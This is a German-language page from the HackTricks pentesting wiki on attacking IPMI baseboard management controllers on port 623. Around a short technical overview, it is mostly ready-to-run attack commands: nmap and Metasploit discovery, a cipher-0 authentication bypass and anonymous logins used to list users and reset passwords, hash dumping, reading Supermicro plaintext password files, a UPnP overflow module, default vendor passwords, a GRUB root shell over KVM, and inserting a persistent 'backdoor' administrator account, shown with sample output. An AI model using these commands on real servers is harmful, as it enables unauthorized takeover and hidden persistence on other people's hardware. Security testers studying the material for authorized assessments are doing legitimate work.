11 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Lernen Sie das Hacken von AWS von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Grundlegende Informationen
Überblick über IPMI
Intelligent Platform Management Interface (IPMI) bietet einen standardisierten Ansatz für die Fernverwaltung und Überwachung von Computersystemen, unabhängig vom Betriebssystem oder Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme auch dann remote zu verwalten, wenn sie ausgeschaltet oder nicht reagierend sind, und ist besonders nützlich für:
- Konfigurationen vor dem Betriebssystemstart
- Verwaltung bei ausgeschaltetem Zustand
- Wiederherstellung nach Systemausfällen
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen und gleichzeitig Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, die die Fernverwaltungsfähigkeiten verbessern, insbesondere durch die Unterstützung von Version 2.0 für Serial over LAN. Zu den wichtigsten Komponenten gehören:
- Baseboard Management Controller (BMC): Der Haupt-Mikrocontroller für IPMI-Operationen.
- Kommunikationsbusse und Schnittstellen: Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.
- IPMI-Speicher: Zum Speichern von Protokollen und Daten.
Standardport: 623/UDP/TCP (Normalerweise läuft es auf UDP, kann aber auch auf TCP laufen)
Enumeration
Entdeckung
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Sie können die Version mit folgendem Befehl identifizieren:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI-Schwachstellen
Im Bereich von IPMI 2.0 wurde eine erhebliche Sicherheitslücke durch Dan Farmer entdeckt, die durch den Chiffrentyp 0 offenbart wurde. Diese Schwachstelle, die detailliert in Dan Farmers Forschung dokumentiert ist, ermöglicht unbefugten Zugriff, wenn ein gültiger Benutzer angegriffen wird, unabhängig vom eingegebenen Passwort. Diese Schwachstelle wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem bei allen IPMI 2.0-Implementierungen hinweist.
IPMI-Authentifizierungsumgehung über Chiffre 0
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Die Ausnutzung dieser Schwachstelle ist mit ipmitool
möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP-Authentifizierung: Remote-Passwort-Hash-Abruf
Diese Schwachstelle ermöglicht den Abruf von gesalzenen gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI Anonyme Authentifizierung
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzernamen- und Passwortzeichenketten gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um Passwörter von benannten Benutzerkonten mithilfe von ipmitool
zurückzusetzen:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Klartext-Passwörter
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter von Supermicro an Orten wie /nv/PSBlock
oder /nv/PSStore
wirft erhebliche Sicherheitsbedenken auf:
cat /nv/PSBlock
Supermicro IPMI UPnP-Schwachstelle
Die Einbindung eines UPnP SSDP-Listeners in der IPMI-Firmware von Supermicro, insbesondere auf dem UDP-Port 1900, birgt ein erhebliches Sicherheitsrisiko. Schwachstellen in der Intel SDK für UPnP-Geräte Version 1.3.1, wie von Rapid7's Offenlegung detailliert beschrieben, ermöglichen den Root-Zugriff auf das BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP randomisiert das Standardpasswort für sein Produkt Integrated Lights Out (iLO) während der Herstellung. Diese Praxis unterscheidet sich von anderen Herstellern, die tendenziell statische Standardanmeldeinformationen verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte wird wie folgt bereitgestellt:
- HP Integrated Lights Out (iLO) verwendet ein werkseitig zufällig generiertes 8-Zeichen-Passwort als Standardpasswort und bietet somit ein höheres Sicherheitsniveau.
- Produkte wie Dell's iDRAC, IBM's IMM und Fujitsu's Integrated Remote Management Controller verwenden leicht erratbare Passwörter wie "calvin", "PASSW0RD" (mit einer Null) bzw. "admin".
- Ebenso verwenden Supermicro IPMI (2.0), Oracle/Sun ILOM und ASUS iKVM BMC einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" bzw. "admin" als Passwörter dienen.
Zugriff auf den Host über BMC
Administrativer Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Möglichkeiten, auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die Tastatur-, Video- und Mausfunktionalität (KVM) des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (mit init=/bin/sh
) oder durch das Booten von einer virtuellen CD-ROM als Rettungsdatenträger erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich dem Einfügen von Hintertüren, der Extraktion von Daten oder anderen erforderlichen Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erheblicher Nachteil ist. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol)-Funktionalitäten des BMCs über ipmitool
übernommen werden. Die Erforschung der Ausnutzung gemeinsam genutzter Hardwareressourcen wie des I2C-Busses und des Super I/O-Chips ist ein Bereich, der weitere Untersuchungen erfordert.
Einbringen von Hintertüren in den BMC vom Host aus
Nachdem ein Host mit einem BMC kompromittiert wurde, kann die lokale BMC-Schnittstelle genutzt werden, um einen Hintertür-Benutzeraccount einzufügen, der eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von ipmitool
auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neuer Benutzeraccount über die lokale Schnittstelle des Hosts in den BMC injiziert werden kann, wodurch die Authentifizierung umgangen wird. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.